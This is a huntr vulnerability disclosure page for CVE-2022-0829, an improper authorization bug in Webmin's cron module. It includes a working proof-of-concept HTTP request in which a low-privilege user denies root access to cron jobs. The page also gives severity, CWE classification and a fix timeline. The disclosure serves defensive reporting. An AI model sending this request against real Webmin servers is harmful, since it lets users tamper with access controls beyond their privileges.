

Improper Authorization in webmin/webmin

0



Reported on Feb 17th 2022

Description

The `/cron/save_allow.cgi` endpoint is accessible to any authenticated low privilege users resulting in controlling user access to cron jobs. They could allow and deny other users access to cron jobs affecting the Scheduled Cron Jobs module.

Proof of Concept

Affected Endpoint:

GET `http://{HOST}/cron/save_allow.cgi`

~

Request

*** This example request to deny root to access cron.

```
GET /cron/save_allow.cgi?allow=&mode=2&deny=root HTTP/1.1
Host: jumphost:10000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/201001
Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-no-links: 1
X-PJAX: true
X-PJAX-Container: [data-dcontainer]
X-PJAX-URL: save_allow.cgi
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close
Referer: http://jumphost:10000/cron/edit_allow.cgi?xnavigation=1
Cookie: redirect=1; testing=1; sid=092a4f34132757770ba9c9c3
```

[Chat with us](#)

Impact

This vulnerability is capable of modifying or restricting access to a system function outside the user's limits.

Occurrences

 save_allow.cgi L5-L17

CVE
CVE-2022-0829
(Published)


Vulnerability Type
CWE-285: Improper Authorization

Severity
Medium (5.4)

Visibility
Public

Status
Fixed

Found by



Faisal Fs

@faisalfs10x

unranked

This report was seen 880 times.

We are processing your report and will contact the **webmin** team within 24 hours. 9 months ago

We have contacted a member of the **webmin** team and are waiting to hear back 9 months ago

webmin validated this vulnerability 9 months ago

Faisal Fs has been awarded the disclosure bounty

Chat with us

The fix bounty is now up for grabs

webmin marked this as fixed in **1.990** with commit **eeeea3** 9 months ago

The fix bounty has been dropped 

This vulnerability will not receive a CVE 

save_allow.cgi#L5-L17 has been validated 

Sign in to join this conversation

2022 © 418sec

huntr

home

hacktivity

leaderboard

FAQ

contact us

terms

privacy policy

part of 418sec

company

about

team

Chat with us